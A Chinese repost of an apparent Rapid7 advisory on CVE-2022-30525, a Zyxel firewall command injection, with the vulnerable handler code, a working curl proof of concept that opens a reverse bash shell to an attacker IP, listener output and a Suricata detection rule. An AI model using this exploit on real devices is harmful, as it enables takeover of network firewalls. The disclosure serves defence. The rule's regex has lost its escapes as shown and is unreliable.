点击上方蓝字“Ots安全”一起玩耍
2022 年 4 月 28 日,合勤发布了修复 CVE-2022-30525 的固件。Rapid7 发现的该漏洞是一个未经身份验证的远程命令注入漏洞,影响一些 Zyxel 防火墙的管理 Web 界面。利用此漏洞的攻击者可以将远程命令执行为nobody. 该漏洞评分为 CVSSv3 9.8。
Zyxel USG FLEX 100(W) 固件版本 5.00 至 5.21 补丁 1、USG FLEX 200 固件版本 5.00 至 5.21 补丁 1、USG FLEX 500 固件版本 5.00 至 5.21 补丁 1、USG FLEX 700 的 CGI 程序中的操作系统命令注入漏洞固件版本 5.00 到 5.21 补丁 1,USG FLEX 50(W) 固件版本 5.10 到 5.21 补丁 1,USG20(W)-VPN 固件版本 5.10 到 5.21 补丁 1,ATP 系列固件版本 5.10 到 5.21 补丁 1,VPN 系列固件版本4.60 到 5.21 补丁 1,这可能允许攻击者修改特定文件,然后在易受攻击的设备上执行一些操作系统命令。
-
无
-
无
-
USG FLEX 100(W) 固件
-
USG FLEX 200 固件
-
USG FLEX 500 固件
-
USG FLEX 700 固件
-
ATP系列固件
-
VPN系列固件
-
USG FLEX 50(W) 固件
-
USG 20(W)-VPN 固件
该漏洞源于使用os.system攻击者提供的数据。攻击是通过/ztp/cgi-bin/handler端点发起的。handler是一个处理各种命令的 Python 脚本。我们使用固件版本 5.21 的测试Zyxel USG FLEX 100使用handler.py带有以下支持的命令(如 中所写handler.py):
supported_cmd = ["ping", "dnsanswer", "ps", "peek", "kill", "pcap", "traceroute",
"atraceroute", "iptables", "getorchstat",
"getInterfaceName_out", "getInterfaceInfo",
"nslookup", "iproget",
"diagnosticinfo", "networkUnitedTest",
"setRemoteZyxelSupport", "getRemoteZyxelSupport",
"getWanPortList", "getWanPortSt", "setWanPortSt", "getZTPurl", "getWanConnSt",
"getUSBSt","setUSBmount","setUSBactive",
"getDiagnosticInfoUsb",
"getDeviceCloudInfo", "getpacketcapconf", "getpacketcapst", "packetcapstart", "packetcapend", "packetcapremovefile",
"getlanguagest","setlanguage"
]
这些命令通过设计为未经身份验证的用户提供了各种有趣的选项。易受 CVE-2022-30525 攻击的命令是getWanPortSt.
elif req["command"] == "getWanPortSt":
reply = lib_wan_setting.getWanPortSt()
上面,我们可以看到getWanPortSt调用了lib_wan_setting.getWanPortSt. 这是在lib_wan_setting.py.
'''
***************************************************************************
* setwanport function
* @param port: port for setting
* @param vlanid: vlan id , 0 for default disalbing vlan
* @param proto: type of wan (dhcp, static, pppoe)
* @param data: detail setting for different port type
*
* @return reply{
* "code": <exception error code>,
* "message": <exception>,
* "result": {'ZTPurl':"xx"}
* }
***************************************************************************
'''
def setWanPortSt(req):
reply = {}
vlan_tagged = ''
logging.info(req)
port = req["port"].strip()
vlanid = req["vlanid"]
proto = req["proto"]
data = req["data"]
vlan_tagged = req["vlan_tagged"]
…
该getWanPortSt命令需要四个参数:vlanid、proto、data和vlan_tagged。此外,它接受一个mtu参数。两者都data可以mtu被利用来进行命令注入。data实际上包含一个额外的 JSON blob,因此更容易利用mtu.
最终,经过一定程度的验证,所有提供的参数都组合成一个命令并执行。
cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password']
+ ' ' + data['auth_type']
+ ' ' + data['ipaddr'] + ' ' + data['gateway']
+ ' ' + data['firstDnsServer'] + ' ' + req['mtu']
if vlan_tagged == '1':
cmdLine += ' ' + vlanid
cmdLine += ' >/dev/null 2>&1'
logging.info("cmdLine = %s" % cmdLine)
with open("/tmp/local_gui_write_flag", "w") as fout:
fout.write("1");
response = os.system(cmdLine)
logging.info(response)
curl使用如下所示的概念验证反向 bash shell 。请注意,该命令被插入到该mtu字段中。
curl -v --insecure -X POST -H "Content-Type: application/json" -d '{"command":"setWanPortSt","proto":"dhcp","port":"1270","vlan_tagged":"1","vlanid":"5","mtu":"; bash -c "exec bash -i &>/dev/tcp/10.0.0.2/1270 <&1;";","data":"hi"}' https://10.0.0.14/ztp/cgi-bin/handler
在攻击者机器上,这可以使用nc:
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.14 41498
bash: cannot set terminal process group (10800): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
bash-5.1$ ps faux
ps faux
从 shell 中,我们可以从以下角度观察攻击的外观ps faux:
nobody 13184 0.0 0.2 20952 5072 ? S May09 0:00 _ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
nobody 640 9.3 0.6 18104 11224 ? S 08:58 0:02 | _ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py
nobody 641 0.0 0.0 3568 1508 ? S 08:58 0:00 | _ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN1269 1270 ; bash -c "exec bash -i &>/dev/tcp/10.0.0.2/1270 <&1;"; 5 >/dev/null 2>&1
nobody 643 0.0 0.0 3716 1760 ? S 08:58 0:00 | _ bash -i
妥协指标
不幸的是,防火墙的日志记录并没有提供任何有用的洞察力。受影响的防火墙确实支持诊断功能,但在生产环境中运行并不明智。如果可能,我们建议监控系统入口和出口是否存在异常行为。以下 Suricata 规则应有助于在该mtu字段用于漏洞利用时识别漏洞利用:
alert http any any -> any any (
msg:"Possible Zyxel ZTP setWanPortSt mtu Exploit Attempt";
flow:to_server;
http.method; content:"POST";
http.uri; content:"/ztp/cgi-bin/handler";
http.request_body; content:"setWanPortSt";
http.request_body; content:"mtu";
http.request_body; pcre:"/mtu["']s*:s*["']s*[^0-9]+/i";
classtype:misc-attack;
sid:221270;)
原文始发于微信公众号(Ots安全):【高】合勤 - 远程命令执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论